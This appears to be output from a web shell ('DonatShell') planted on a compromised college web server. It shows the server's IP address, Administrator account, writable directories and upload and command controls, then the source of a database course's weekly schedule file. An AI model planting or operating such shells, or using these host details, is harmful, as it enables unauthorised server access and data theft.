GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/CST1600/Schedule/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/CST1600/Schedule//CST1600_Schedule_Spring.phpinc
<?
// JimMartinson/CST1600/CST1600_Schedule.phpinc

#d_Var('$SchoolCalendar',$SchoolCalendar,'d');
#d_Var('$InstructorCalendar',$InstructorCalendar,'d');
#d_Var('$Instructor',$Instructor,'d');
if ( !isset($class['meetingTime'][1]) ) $class['meetingTime'][1] = $class['meetingTime'][0];
#if ( $_SESSION['userId'] == 1 ) require('JimMartinson/ScheduleCode.phpinc');
$week = 0;
?>
<fieldset><legend><?=$title?></legend>
<? require('JimMartinson/WebMeetingLink.phpinc'); ?>
<br>
<ol start="1">
<!-- Week 1: Tuesday 1/11 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/RXyll6N5x5UDDIXpGvJabDaajERbjKlk9rgOZc7zmiWt4DTRAD3TEi1Rybno3GOO.Cd4O_E6Of2PDt3V-?startTime=1673377249000','text'),array('URL','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<br><b>Due to the watermain break in Hutchinson, class must end by 3:00pm today.</b>
			<ol type="i">
			<? $discuss_VMware = false; require('JimMartinson/Schedule_week1.phpinc'); ?>
			</ol>
		</li>
		<li>
		<? $weekAdd = 1; require('JimMartinson/Schedule_week1_Assignments_Begin.phpinc'); ?>
				<li>Read <a href="https://en.wikipedia.org/wiki/Data">Data</a>.</li>
				<li>Read <a href="https://en.wikipedia.org/wiki/Information">Information</a>.</li>
				<li>Read <a href="https://en.wikipedia.org/wiki/Database">Database</a>.</li>
				<li>Read <a href="https://en.wikipedia.org/wiki/Data_integrity">Data integrity</a>.</li>
				<li>Read <a href="https://www.guru99.com/difference-information-data.html">Difference between Information and Data</a>.</li>
		<? require('JimMartinson/Schedule_week1_Assignments_End.phpinc'); ?>
		</li>
	</ul>
</li><!-- END Week 1 -->
<!-- Week 2: Tuesday 1/18 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/_29AUuNv9-Kh5BO7VS0STS4B8qBKMMrqeBoDHLa2fmAWuqBKMOQUuaESJ8PJYQ-a.4MCZsr8rTLTzDvi0?startTime=1673982034000','text'),array('https://minnstate.zoom.us/rec/share/_29AUuNv9-Kh5BO7VS0STS4B8qBKMMrqeBoDHLa2fmAWuqBKMOQUuaESJ8PJYQ-a.4MCZsr8rTLTzDvi0?startTime=1673986482000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <a href="https://en.wikipedia.org/wiki/Data">Data</a>.</li>
				<li>Discuss <a href="https://en.wikipedia.org/wiki/Information">Information</a>.</li>
				<li>Discuss <a href="https://en.wikipedia.org/wiki/Database">Database</a>.</li>
				<li>Discuss <a href="https://en.wikipedia.org/wiki/Data_integrity">Data integrity</a>.</li>
				<li>Discuss <a href="https://www.guru99.com/difference-information-data.html">Difference between Information and Data</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li>Read <i>Chapter 1 Before the Advent of Database Systems</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 1 (9)</li>
				<li>Read <i>Chapter 2 Fundamental Concepts</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 6 (14)</li>
				<li>Read <i>Chapter 3 Characteristics and Benefits of a Database</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 9 (17)</li>
				<li>Read <i>Chapter 4 Types of Data Models</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 13 (21)</li>
				<li>Read <i>Chapter 5 Data Modelling</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 15 (23)</li>
				<li>Browse <a href="http://www.mysqltutorial.org/basic-mysql-tutorial.aspx">Basic MySQL Tutorial</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 2 -->
<!-- Week 3: Tuesday 1/25 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/4zxgecXvxUo0_pVTmMxme4R8F3HoE_SH9sX8XbCzE4vm611LporMws3f3e5H1Ifu.Xw09M0x8ByueQs0b?startTime=1674586820000','text'),array('https://minnstate.zoom.us/rec/share/4zxgecXvxUo0_pVTmMxme4R8F3HoE_SH9sX8XbCzE4vm611LporMws3f3e5H1Ifu.Xw09M0x8ByueQs0b?startTime=1674591328000','text'),array('https://minnstate.zoom.us/rec/share/4zxgecXvxUo0_pVTmMxme4R8F3HoE_SH9sX8XbCzE4vm611LporMws3f3e5H1Ifu.Xw09M0x8ByueQs0b?startTime=1674593959000','(Lab 1 demo)'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <i>Chapter 1 Before the Advent of Database Systems</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 1 (9)</li>
				<li>Discuss <i>Chapter 2 Fundamental Concepts</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 6 (14)</li>
				<li>Discuss <i>Chapter 3 Characteristics and Benefits of a Database</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 9 (17)</li>
				<li>Discuss <i>Chapter 4 Types of Data Models</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 13 (21)</li>
				<li>Discuss <i>Chapter 5 Data Modelling</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 15 (23)</li>
				<li>Discuss <a href="http://www.mysqltutorial.org/basic-mysql-tutorial.aspx">Basic MySQL Tutorial</a>.</li>
				<li>Demo <?=labLink(1,false,'')?>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(1)?></li>
				<li>Read <i>Chapter 6 Classification of Database Management Systems</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 21 (29)</li>
				<li>Read <i>Chapter 7 The Relational Data Model</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 24 (32)</li>
				<li>Read <i>Chapter 8 The Entity Relationship Data Model</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 29 (37)</li>
				<li>Browse <a href="http://www.mysqltutorial.org/basic-mysql-tutorial.aspx">Basic MySQL Tutorial - Section 1. Getting started with MySQL</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 3 -->
<!-- Week 4: Tuesday 2/01 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/IuYzAMjeyyykP60jKyxtByaMEntwB5JCSA4iDLjmEVyUlY3CjIlBlLmUFCEJJOz3.ewX3MApfu-Iq-yvl?startTime=1675192255000','text'),array('https://minnstate.zoom.us/rec/share/jaJNkN6-QXiW55aeDCRIHK3aKawtQ20kPJJNeiyWqObMxTvqXIS6NaqbgPirLts2.aaY7chAct-yqugev?startTime=1675201320000','text'),array('https://minnstate.zoom.us/rec/share/jaJNkN6-QXiW55aeDCRIHK3aKawtQ20kPJJNeiyWqObMxTvqXIS6NaqbgPirLts2.aaY7chAct-yqugev?startTime=1675202642000','(Lab 2 demo)'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <i>Chapter 6 Classification of Database Management Systems</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 21 (29)</li>
				<li>Discuss <i>Chapter 7 The Relational Data Model</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 24 (32)</li>
				<li>Discuss <i>Chapter 8 The Entity Relationship Data Model</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 29 (37)</li>
				<li>Discuss <a href="http://www.mysqltutorial.org/basic-mysql-tutorial.aspx">Basic MySQL Tutorial - Section 1. Getting started with MySQL</a>.</li>
				<li>Demo <?=labLink(2,false,'')?>.</li>
				<li>Discuss the classicmodels database.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(2)?></li>
				<li>Read <i>Chapter 9 Integrity Rules and Constraints</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 44 (52)</li>
				<li>Read <i>Chapter 10 ER Modelling</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 55 (63)</li>
				<li>Read <i>Chapter 11 Functional Dependencies</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 61 (69)</li>
				<li>Read <i>Basic MySQL Tutorial</i> Section 2 <i>Querying data</i>:
					<ol type="a">
						<li><a href="http://www.mysqltutorial.org/mysql-select-statement-query-data.aspx">Using MySQL SELECT Statement to Query Data</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-distinct.aspx">Using MySQL DISTINCT to Eliminate Duplicates</a>.</li>
					</ol>
				</li>
				<li>Browse <a href="https://www.w3resource.com/mysql/mysql-tutorials.php">w3resource MySQL Tutorial</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 4 -->
<!-- Week 5: Tuesday 2/08 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/bCFRVS4tcXxrZK8OfwXOMlT7Tq4RTdCYwRCN_rvqYsYeVkdnWTiTkI5gLJP97NNV.zsj4GwET5vjSP9y_?startTime=1675796474000','text'),array('https://minnstate.zoom.us/rec/share/bCFRVS4tcXxrZK8OfwXOMlT7Tq4RTdCYwRCN_rvqYsYeVkdnWTiTkI5gLJP97NNV.zsj4GwET5vjSP9y_?startTime=1675801531000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <i>Chapter 9 Integrity Rules and Constraints</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 44 (52)</li>
				<li>Discuss <i>Chapter 10 ER Modelling</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 55 (63)</li>
				<li>Discuss <i>Chapter 11 Functional Dependencies</i> in <a href="../Resources/Database-Design-2nd-Edition-1420760605.pdf"><i>Database Design 2nd Edition</i></a>. pp 61 (69)</li>
				<li>Discuss <i>Basic MySQL Tutorial</i> Section 2 <i>Querying data</i>:
					<ol type="a">
						<li><a href="http://www.mysqltutorial.org/mysql-select-statement-query-data.aspx">Using MySQL SELECT Statement to Query Data</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-distinct.aspx">Using MySQL DISTINCT to Eliminate Duplicates</a>.</li>
					</ol>
				</li>
				<li>Discuss the <a href="https://www.w3resource.com/mysql/mysql-tutorials.php">w3resource MySQL Tutorial</a>.</li>
				<li>Discuss the bookinfo database.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(3)?></li>
				<li>Read <i>Basic MySQL Tutorial</i> Section 3 <i>Filtering data</i>:
					<ol type="a">
						<li><a href="http://www.mysqltutorial.org/mysql-where/">MySQL WHERE</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-and/">MySQL AND Operator</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-or/">MySQL OR Operator</a>.</li>
						<li><a href="http://www.mysqltutorial.org/sql-in.aspx">MySQL IN</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-between">MySQL BETWEEN</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-like/">MySQL LIKE</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-limit.aspx">MySQL LIMIT</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-is-null/">A Comprehensive Look at MySQL IS NULL Operator</a>.</li>
					</ol>
				</li>
				<li>Read <i>Basic MySQL Tutorial</i> Section 4 <i>Sorting data</i>:
					<ol type="a">
						<li><a href="http://www.mysqltutorial.org/mysql-order-by/">MySQL ORDER BY: Sort a Result Set</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-natural-sorting/">MySQL Natural Sorting with ORDER BY Clause</a>.</li>
					</ol>
				</li>
				<li>Read <a href="http://www.mysqltutorial.org/mysql-alias/">MySQL Alias</a>.</li>
				<li>Browse <i>w3resource MySQL Tutorial</i>:
					<ol type="a">
						<li><a href="https://www.w3resource.com/mysql/basic-select-statement/mysql-basic-select-statement.php">MySQL SELECT statement</a>.</li>
						<li><a href="https://www.w3resource.com/mysql/mysql-functions-and-operators.php">MySQL FUNCTIONS and OPERATORS</a>.</li>
					</ol>
				</li>
				<li>Optional <?=labLink(2.5)?></li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 5 -->
<!-- Week 6: Tuesday 2/15 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/EOzvzMiMT_bVFUvDvy5xXTccOhiAk3pBIHeh_0YcWB7hIULt8A1cwN5oI4fjgGAH.EpBZyepl-CsNqt2t?startTime=1676401209000','text'),array('https://minnstate.zoom.us/rec/share/EOzvzMiMT_bVFUvDvy5xXTccOhiAk3pBIHeh_0YcWB7hIULt8A1cwN5oI4fjgGAH.EpBZyepl-CsNqt2t?startTime=1676406373000','text'),array('https://minnstate.zoom.us/rec/share/EOzvzMiMT_bVFUvDvy5xXTccOhiAk3pBIHeh_0YcWB7hIULt8A1cwN5oI4fjgGAH.EpBZyepl-CsNqt2t?startTime=1676408530000','MAC Workbench issue'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <i>Basic MySQL Tutorial</i> Section 3 <i>Filtering data</i>:
					<ol type="a">
						<li><a href="http://www.mysqltutorial.org/mysql-where/">MySQL WHERE</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-and/">MySQL AND Operator</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-or/">MySQL OR Operator</a>.</li>
						<li><a href="http://www.mysqltutorial.org/sql-in.aspx">MySQL IN</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-between">MySQL BETWEEN</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-like/">MySQL LIKE</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-limit.aspx">MySQL LIMIT</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-is-null/">A Comprehensive Look at MySQL IS NULL Operator</a>.</li>
					</ol>
				</li>
				<li>Discuss <i>Basic MySQL Tutorial</i> Section 4 <i>Sorting data</i>:
					<ol type="a">
						<li><a href="http://www.mysqltutorial.org/mysql-order-by/">MySQL ORDER BY: Sort a Result Set</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-natural-sorting/">MySQL Natural Sorting with ORDER BY Clause</a>.</li>
					</ol>
				</li>
				<li>Discuss <a href="http://www.mysqltutorial.org/mysql-alias/">MySQL Alias</a>.</li>
				<li>Discuss <i>w3resource MySQL Tutorial</i>:
					<ol type="a">
						<li><a href="https://www.w3resource.com/mysql/basic-select-statement/mysql-basic-select-statement.php">MySQL SELECT statement</a>.</li>
						<li><a href="https://www.w3resource.com/mysql/mysql-functions-and-operators.php">MySQL FUNCTIONS and OPERATORS</a>.</li>
					</ol>
				</li>	
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(4)?></li>
				<li><?=labLink(4.5)?></li>
				<li>Read <i>Basic MySQL Tutorial</i> Section 5 <i>Joining tables</i>:
					<ol type="a">
						<li>Read <a href="http://www.mysqltutorial.org/mysql-join/">MySQL Join Made Easy For Beginners</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-inner-join.aspx">MySQL INNER JOIN</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-left-join.aspx">MySQL LEFT JOIN</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-right-join/">MySQL RIGHT JOIN</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-cross-join/">A Practical Use of MySQL CROSS JOIN Clause</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-self-join/">MySQL Self Join</a>.</li>
					</ol>
				</li>
				<li>Read <i>Basic MySQL Tutorial</i> Section 7 <i>MySQL subquery, derived table, and CTE</i>:
					<ol type="a">
						<li>Read <a href="http://www.mysqltutorial.org/mysql-subquery/">MySQL Subquery</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-derived-table/">An Essential Guide to MySQL Derived Tables</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-cte/">An Introduction to MySQL CTE</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-recursive-cte/">A Definitive Guide To MySQL Recursive CTE</a>.</li>
					</ol>
				</li>
				<li>Browse <a href="https://www.w3resource.com/mysql/subqueries/index.php"><i>w3resource MySQL Tutorial</i>: MySQL Subqueries</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 6 -->
<!-- Week 7: Tuesday 2/22 (Hutchinson) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/Dg0ftK9ZJTSuRNmUXtRagtHkXQitEAaGEM6E_l4aHqafMmGYQLOJ2d5Kmpf2btpd.a1VcK8idJLwkEPj4?startTime=1677006015000','text'),array('https://minnstate.zoom.us/rec/share/Dg0ftK9ZJTSuRNmUXtRagtHkXQitEAaGEM6E_l4aHqafMmGYQLOJ2d5Kmpf2btpd.a1VcK8idJLwkEPj4?startTime=1677010529000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss SQL code formatting.</li>
				<li>Discuss <i>Basic MySQL Tutorial</i> Section 5 <i>Joining tables</i>:
					<ol type="a">
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-join/">MySQL Join Made Easy For Beginners</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-inner-join.aspx">MySQL INNER JOIN</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-left-join.aspx">MySQL LEFT JOIN</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-right-join/">MySQL RIGHT JOIN</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-cross-join/">A Practical Use of MySQL CROSS JOIN Clause</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-self-join/">MySQL Self Join</a>.</li>
					</ol>
				</li>
				<li>Discuss <i>Basic MySQL Tutorial</i> Section 7 <i>MySQL subquery, derived table, and CTE</i>:
					<ol type="a">
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-subquery/">MySQL Subquery</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-derived-table/">An Essential Guide to MySQL Derived Tables</a>.</li>
						<li><!--<span class="info">Moved to next week.</span> <del>-->Discuss <a href="http://www.mysqltutorial.org/mysql-cte/">An Introduction to MySQL CTE</a>.<!--</del>--></li>
						<li><!--<span class="info">Moved to next week.</span> <del>-->Discuss <a href="http://www.mysqltutorial.org/mysql-recursive-cte/">A Definitive Guide To MySQL Recursive CTE</a>.<!--</del>--></li>
					</ol>
				</li>
				<li>View <a href="/JimMartinson/CST1600/Resources/SQL-Join-925x1024.png">SQL JOINS</a> and <a href="/JimMartinson/CST1600/Resources/SQL%20join.jpg">SQL JOINS</a>.</li>
				<li>Discuss <a href="https://www.w3resource.com/mysql/subqueries/index.php"><i>w3resource MySQL Tutorial</i>: MySQL Subqueries</a> <note>(If time permits)</note>.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+1)?>:
			<ol type="i">
				<li><?=labLink(5)?></li>
				<li><?=labLink(5.5)?></li>
				<li>Read <i>Basic MySQL Tutorial</i> Section 6 <i>Grouping data</i>:
					<ol type="a">
						<li>Read <a href="http://www.mysqltutorial.org/mysql-group-by.aspx">MySQL GROUP BY</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-having.aspx">MySQL HAVING</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-rollup/">MySQL ROLLUP</a>.</li>
					</ol>
				</li>
				<li>Read <a href="https://dev.mysql.com/doc/refman/8.0/en/derived-tables.html">13.2.11.8 Derived Tables</a>.</li>
				<li>Read <a href="https://www.tutorialspoint.com/What-is-the-concept-of-a-derived-table-concerned-with-MySQL-subquery">What is the concept of a derived table concerned with MySQL subquery?</a>.</li>
				<li>Read <a href="https://logicalread.com/when-to-apply-sql-server-derived-tables-mc03/#.X5iCjVB7l9A">When and How to Apply SQL Server Derived Tables</a>.</li>
				<li>Read <a href="https://www.percona.com/live/19/sites/default/files/slides/LATERAL%20Derived%20Tables%20in%20MySQL%208.0%20-%20FileId%20-%20188593.pdf">LATERAL Derived Tables in MySQL 8.0</a>.</li>
				<li>Read <a href="https://www.databasejournal.com/features/mysql/article.php/3914401/Use-Derived-Tables-in-Your-MySQL-Queries-to-Improve-Database-Performance.htm">Use Derived Tables in Your MySQL Queries to Improve Database Performance</a>.</li>
				<li>Read <i>w3resource MySQL Tutorial</i>: <a href="https://www.w3resource.com/mysql/advance-query-in-mysql/mysql-joins.php">MySQL JOINS</a>.</li>
			</ol>
		</li>
	</ul>
</li><!-- END Week 7 -->
<!-- Week 8: Tuesday 3/01 (Willmar) -->
<li><? $week++; ?> <?=classWeekDateCSS($class['startDate'],$week)?><?=classWeekShowHideUL($class['startDate'],$week)?>
	<? lectureLinks(array(array('https://minnstate.zoom.us/rec/share/fqtX5a5GxZUJOchYUSfG8iNOu3GO6G49BQdemIgrcn1pb5-UBxNedbGS35KAJxHO.8U1GZaLRnSx3JD2Q?startTime=1677610905000','text'),array('https://minnstate.zoom.us/rec/share/fqtX5a5GxZUJOchYUSfG8iNOu3GO6G49BQdemIgrcn1pb5-UBxNedbGS35KAJxHO.8U1GZaLRnSx3JD2Q?startTime=1677616245000','text'),array('URL','text'))); ?>
	<ul<?=classWeekShowHideClass($class['startDate'],$week)?>>
		<li><!-- Wednesday 1:00pm-3:30pm	-->
			<?=classWeekDayCSS($class['startDate'][0],$week)?>, <?=$class['meetingTime'][0]?>.<?=classWeekDayLocation($class['startDate'][0],$week)?>
			<ol type="i">
				<li>Discuss <i>Basic MySQL Tutorial</i> Section 6 <i>Grouping data</i>:
					<ol type="a">
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-group-by.aspx">MySQL GROUP BY</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-having.aspx">MySQL HAVING</a>.</li>
						<li>Discuss <a href="http://www.mysqltutorial.org/mysql-rollup/">MySQL ROLLUP</a>.</li>
					</ol>
				</li>
				<li>Discuss <a href="https://dev.mysql.com/doc/refman/8.0/en/derived-tables.html">13.2.11.8 Derived Tables</a>.</li>
				<li>Discuss <a href="https://www.tutorialspoint.com/What-is-the-concept-of-a-derived-table-concerned-with-MySQL-subquery">What is the concept of a derived table concerned with MySQL subquery?</a>.</li>
				<li>Discuss <a href="https://logicalread.com/when-to-apply-sql-server-derived-tables-mc03/#.X5iCjVB7l9A">When and How to Apply SQL Server Derived Tables</a>.</li>
				<li>Discuss <a href="https://www.percona.com/live/19/sites/default/files/slides/LATERAL%20Derived%20Tables%20in%20MySQL%208.0%20-%20FileId%20-%20188593.pdf">LATERAL Derived Tables in MySQL 8.0</a>.</li>
				<li>Discuss <a href="https://www.databasejournal.com/features/mysql/article.php/3914401/Use-Derived-Tables-in-Your-MySQL-Queries-to-Improve-Database-Performance.htm">Use Derived Tables in Your MySQL Queries to Improve Database Performance</a>.</li>
				<li>Discuss <i>w3resource MySQL Tutorial</i>: <a href="https://www.w3resource.com/mysql/advance-query-in-mysql/mysql-joins.php">MySQL JOINS</a>.</li>
				<li>Discuss <i>w3resource MySQL Tutorial</i>: <a href="https://www.w3resource.com/mysql/advance-query-in-mysql/find-duplicate-data-mysql.php">MySQL Advance Query</a>.</li>
				<li>Discuss <a href="/JimMartinson/CST1600/Resources/SQL-Join-925x1024.png">SQL JOINS</a> and <a href="/JimMartinson/CST1600/Resources/SQL%20join.jpg">SQL JOINS</a>.</li>
				<li>Discuss <i>w3resource MySQL Tutorial</i>: <a href="https://www.w3resource.com/mysql/advance-query-in-mysql/mysql-joins.php">MySQL JOINS</a>.</li>
				<li>Discuss class tasks.</li>
			</ol>
		</li>
		<li>
			Complete the following <?=classDueDate($class['meetingTime'][0],$class['startDate'][0],$week+2)?>:
			<ol type="i">
				<li><?=labLink(6)?></li>
				<li><?=labLink(6.5)?></li>
				<li>Read <i>Basic MySQL Tutorial</i> Section 8 <i>Using Set operators</i>:
					<ol type="a">
						<li>Read <a href="http://www.mysqltutorial.org/sql-union-mysql.aspx">MySQL UNION</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-intersect/">MySQL INTERSECT</a>.</li>
						<li>Read <a href="http://www.mysqltutorial.org/mysql-minus/">MySQL MINUS</a>.</li>
					</ol>
				</li>
				<li>Read <i>Basic MySQL Tutorial</i> Section 12 <i>MySQL data types</i>:
					<ol type="a">
						<li><a href="http://www.mysqltutorial.org/mysql-data-types.aspx">MySQL Data Types</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-int/">MySQL INT Data Type Explained With Examples</a>.</li>
						<li><a href="http://www.mysqltutorial.org/mysql-decimal/">MySQL DECIMAL Data Type</a>.</li>
